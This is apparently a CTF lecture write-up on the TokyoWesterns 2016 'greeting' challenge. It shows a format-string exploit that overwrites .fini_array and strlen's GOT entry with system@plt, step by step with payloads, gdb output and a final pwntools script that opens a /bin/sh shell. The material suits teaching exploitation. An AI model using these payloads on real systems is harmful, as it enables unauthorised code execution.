PWN College

Session 19

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Format Strings

Tokyowesterns 2016 greeting

TokyoWesterns'16: Greeting

- It is a **32-bit dynamically** linked binary, with a **stack canary** and non executable stack (but no RELRO or PIE)

```
→  tw16_greeting file greeting
greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=beb8
5611dbf6f1f3a943cecd99726e5e35065a63, not stripped
→  tw16_greeting checksec greeting
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- We can see that we are prompted for input, which it **prints back** out to us.

```
→  tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... hellloo
Nice to meet you, hellloo :)
```

TokyoWesterns'16: Greeting

- So we can see that in the **main** function, it runs the ***getnline*** function which scans in **input** and returns the **amount** of **bytes** read. It scans in data into the ***local_54*** char buffer.

- Proceeding that if ***getnline*** didn't scan in 0 bytes, it will write the string "*Nice to meet you,* " + ourInput + " *:)\n*" to ***local_94***, then prints it using ***printf***.

- Thing is since in the *printf* call it doesn't specify a **format** to print the input, this is a **format string** bug and we can specify how our input is printed. Using the ***%n*** flag with printf, we can actually **write** to **memory**.

```
void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  char local_94 [64];
  undefined local_54 [64];
  int local_14;

  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  iVar1 = getnline(local_54,0x40);
  if (iVar1 == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
    printf(local_94);
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

TokyoWesterns'16: Greeting

- Since **RELRO** isn't enabled, we can write to the **GOT table**.
  - the GOT Table is a table of **addresses** in the binary that hold **libc address functions**.
- And since **PIE** isn't enabled we know the **addresses** of the **GOT** table.
- It just scans in ***param_2*** amount of data (in our case *0x40* or *64* so **no overflow**) into the space pointed to by ***param_1***.
- Proceeding that, it will replace the **newline** character with a **null byte**. It will then return the **output** of ***strlen*** on our input.

```
void getnline(char *param_1,int param_2)

{
  char *pcVar1;

  fgets(param_1,param_2,stdin);
  pcVar1 = strchr(param_1,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = 0;
  }
  strlen(param_1);
  return;
}
```

TokyoWesterns'16: Greeting

- Now the next thing we need will be a **function** to **overwrite** a **got entry** with. Looking through the list of **imports** in **ghidra** (imported functions are included in the compiled binary code, and since **pie** isn't enabled we know the **addresses** of those functions) we can see that ***system*** is imported, and is at the address ***0x8048490*** in the ***plt*** table.

- We can also find the **address** using ***gdb*** or ***objdump***.

```
→  tw16_greeting gdb-gef greeting
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08048490  system@plt
```

```
→  tw16_greeting objdump -D greeting | grep system
08048490 <system@plt>:
 8048779:       e8 12 fd ff ff          call   8048490 <system@plt>
```

TokyoWesterns'16: Greeting

- So we will overwrite a ***got*** entry of a function with ***system*** to call it. The question is now **which function** to overwrite?
- Now we run into a different problem. The only function called after the ***printf*** call which gives us a **format string** write, is ***__stack_chk_fail()*** which will only get called if we execute a **buffer overflow** which we really can't do right now.
- We will overcome this by writing to the ***.fini_array***, which contains an **array** of **functions** which are executed sometime **after main returns**.
- We will just write to it the **address** which starts the **setup** for the ***getnline*** function, to essentially wrap back around.

TokyoWesterns'16: Greeting

- **Initialization and Termination Sections**
  - **Dynamic objects** can supply code that provides for **runtime** initialization and **termination** processing.
  - The **initialization** code of a dynamic object is executed once each time the dynamic object is **loaded** in a process. The **termination** code of a dynamic object is executed once each time the dynamic object is **unloaded** from a process or at process termination.
  - This code can be encapsulated in one of two **section** types, either an **array of function pointers** or a **single code block**.
  - ***.fini_array*** contains an array of **functions** which are executed sometime **after main returns**.

TokyoWesterns'16: Greeting

- We can find the ***.fini_array*** using **gdb** while running the program.

```
gef➤  info files
        0x08048800 - 0x0804883c is .eh_frame_hdr
        0x0804883c - 0x0804892c is .eh_frame
        0x0804992c - 0x08049934 is .init_array
        0x08049934 - 0x08049938 is .fini_array
        0x08049938 - 0x0804993c is .jcr
```

- Through all of that we can see that the ***.fini_array*** is at ***0x8049934***.
- For the address we will loop back to, I choose ***0x8048614***. This is the start of the setup for the ***getnline*** function call, and through trial and error we can see that it doesn't crash when we loop back here.

```
0804860f e8 3c fe       CALL     printf
         ff ff
08048614 c7 44 24       MOV      dword ptr [ESP + local_ac],0x40
         04 40 00
         00 00
0804861c 8d 44 24       LEA      EAX=>local_54,[ESP + 0x5c]
         5c
08048620 89 04 24       MOV      dword ptr [ESP]=>local_b0,EAX
08048623 e8 51 00       CALL     getnline
         00 00
```

TokyoWesterns'16: Greeting

- Now brings up the question of **which function's *got*** address will we overwrite.
- Since the function ***system*** takes a **single argument** (a char **pointer**), ideally it would be a function that takes a single argument that is a char pointer to **our input**.
- We choose ***strlen***, since in ***getnline*** it is called with a **char pointer** to our **input**.
- In addition to that, it isn't called somewhere else that would cause a **crash** with what we are doing.
- In *Ghidra* looking at the ***.got.plt*** memory region, we can see that the got entry is at ***0x8049a54***.

TokyoWesterns'16: Greeting

- We can find ***got*** entry of ***strlen*** using ***objdump***.

```
➜  tw16_greeting objdump -R greeting | grep strlen
08049a54 R_386_JUMP_SLOT   strlen@GLIBC_2.0
```

- We can also find the ***got*** entry of ***system*** using ***objdump***.

```
➜  tw16_greeting objdump -R greeting | grep system
08049a48 R_386_JUMP_SLOT   system@GLIBC_2.0
```

TokyoWesterns'16: Greeting

- So now the last part I need to cover is actually exploiting the **format string** bug.
- The first thing we need to do is find our **input** in reference to the ***printf*** call, which we can do using the ***%x*** flag.

```
➜  tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... 0000111122223333.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x
Nice to meet you, 0000111122223333.80487d0.ffff1b5c.0.0.0.0.6563694e.206f7420.74
65656d.756f7920.3030202c.31313030.32323131.33333232.252e3333.% :)
```

- So we can see our input popping up *3030202c.31313030.32323131.33333232* (0=0x30, 1=0x31, 2=0x32, 3=0x33). Through a bit of **shifting** around values, we can find that the format string ***xx0000111122223333*** gives us what we need.

```
➜  tw16_greeting ./greeting
Hello, I'm nao!
Please tell me your name... xx0000111122223333.%12$x.%13$x.%14$x.%15$x
Nice to meet you, xx0000111122223333.30303030.31313131.32323232.33333333 :)
```

TokyoWesterns'16: Greeting

- Now when *printf* writes a value, it will write the **amount** of **bytes** it has printed.
- So if we need to write the value ***0x804***, we need to print that many bytes. Since we are writing values like ***0x8048614*** we split it up, that way we don't need to wait several minutes for the *printf* call to finish.
- We split up each write into **two separate** writes.
- For the split writes, we will first write to the **lower two bytes** of each address. Since the **top two bytes** for each of the values we are writing is the same (***0x804***) we choose to write those last.

TokyoWesterns'16: Greeting

- **Overall Approach**
  1) Write address of ***getnline*** (*0x8048614*) function to ***.fini_array*** *(0x8049934)*.
     - ✓ **Two** steps of writing is required here. At each step we will write **2 bytes** of the address.
  2) Write address of ***system*** (*0x8048490*) to got entry of ***strlen*** (*0x8049a54*).
     - ✓ **Two** steps of writing is required here. At each step we will write **2 bytes** of the address.
  3) After writing the addresses, we are ready to pass the '***/bin/sh***' string as input.

TokyoWesterns'16: Greeting

- What is the content of *.fini_array* at first?
  - ***__do_global_dtors_aux()***

```
                     undefined __do_global_dtors_aux()
     undefined         AL:1          <RETURN>
                     __do_global_dtors_aux
080485a0 80 3d a4      CMP        byte ptr [completed.6591],0x0
         9a 04 08
         00
```

```
→  tw16_greeting gdb-gef greeting
gef➤  r
Hello, I'm nao!
Please tell me your name... ^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤  x/x 0x8049934
0x8049934:       0x080485a0
```

- **About *__do_global_dtors_aux()***
  - The addresses of **constructors** and **destructors** of static objects are each stored in a different section in ELF executable. For the **constructors** there is a section called .***CTORS*** and for the **destructors** there is the .***DTORS*** section.
  - The compiler creates two auxiliary functions ***__do_global_ctors_aux*** and **__do_global_dtors_aux** for calling the **constructors** and **destructors** of these static objects, respectively.
  - **__do_global_ctors_aux** function simply performs a walk on the .***CTORS*** section, while the **__do_global_dtors_aux** does the same job only for the .***DTORS*** section which contains the program specified destructors functions.

TokyoWesterns'16: Greeting

- **Test Payload 1**

```python
finiArray = 0x08049934
strlenGot = 0x08049a54

payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiArray
payload += "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%14$n"

# Write 0x804 to the higher two bytes of finiArray and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
→  tw16_greeting gdb-gef greeting
gef➤  b *0x08048654
Breakpoint 1 at 0x8048654
gef➤  r < payload
Starting program: tw16_greeting/greeting < payload
[Detaching after vfork from child process 3925]
Hello, I'm nao!
Please tell me your name... Nice to meet you, xx46TV :)

Breakpoint 1, 0x08048654 in main ()
gef➤  x/x 0x8049934    --> fini_array address
0x8049934:      0x00240024
gef➤  x/x 0x8049a54    --> strlen address
0x8049a54 <strlen@got.plt>:     0x00240024
```

TokyoWesterns'16: Greeting

- The **first** write (we can say the **first** ***%n***) is for the **lower two** bytes of the *.fini_array* address ***0x8049934***. We need it to be the value ***0x8614***, and it's value right now is ***0x24***.
- So we just need to print an additional $\mathbf{0x8614 - 0x24 = 34288}$ bytes to get it to that value.
- Also the bytes printed before will affect future writes, so we go through and do this for each individual write (except for the **last two**, since they were **the same write** we only need to have **one** additional bytes printing for it).

TokyoWesterns'16: Greeting

- **Test Payload 2**

```python
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiArray
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%14$n"

# Write 0x804 to the higher two bytes of finiArray and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
gef➤  x/x 0x8049934
0x8049934:      0x86148614
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:     0x86148614
```

- Now we need to write ***0x8490*** to the **lower 2** bytes of **strlen** address.
- $0x18490 - 0x8614 = 65148$

TokyoWesterns'16: Greeting

- **Test Payload 3**

```python
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiArray
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%65148x" + "%14$n"

# Write 0x804 to the higher two bytes of finiArray and strlenGot
payload += "%13$n"
payload += "%15$n"
```

```
gef➤  x/x 0x8049934
0x8049934:      0x84908614
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:     0x84908490
```

- Now we need to write ***0x0804*** to the higher two bytes of both addresses.
- $0x10804 - 0x8490 = 33652$

TokyoWesterns'16: Greeting

- Test Payload 4

```
payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# Write 0x8614 to the lower two bytes of finiArray
# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# Write 0x8490 to the lower two bytes of strlenGot
payload += "%65148x" + "%14$n"

# Write 0x804 to the higher two bytes of finiArray and strlenGot
payload += "%33652x" + "%13$n"
payload += "%15$n"
```

```
gef➤  x/x 0x8049934
0x8049934:      0x08048614
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:     0x08048490
```

- We found the payload needed to write both values to both addresses. Now we can write the final exploit.

TokyoWesterns'16: Greeting

- **Final Exploit**

```python
from pwn import *

target = process('greeting')

finiArray = 0x08049934
strlenGot = 0x08049a54

payload = ""
payload += "xx"
payload += p32(finiArray)
payload += p32(finiArray + 2)
payload += p32(strlenGot)
payload += p32(strlenGot + 2)

# 0x8614 - 0x24 = 34288
payload += "%34288x" + "%12$n"

# 0x18490 - 0x8614 = 65148
payload += "%65148x" + "%14$n"

# 0x10804 - 0x8490 = 33652
payload += "%33652x" + "%13$n"
payload += "%15$n"
```

```python
# Print the length of our fmt string
# (make sure we meet the size requirement)
print "len: " + str(len(payload))

# Send the format string
target.sendline(payload)

# Send '/bin/sh' to trigger the system('/bin/sh') call
target.sendline('/bin/sh')

# Drop to an interactive shell
target.interactive()
```

- With this code we are able to get the **shell access** from remote server and print the ***flag.txt*** file.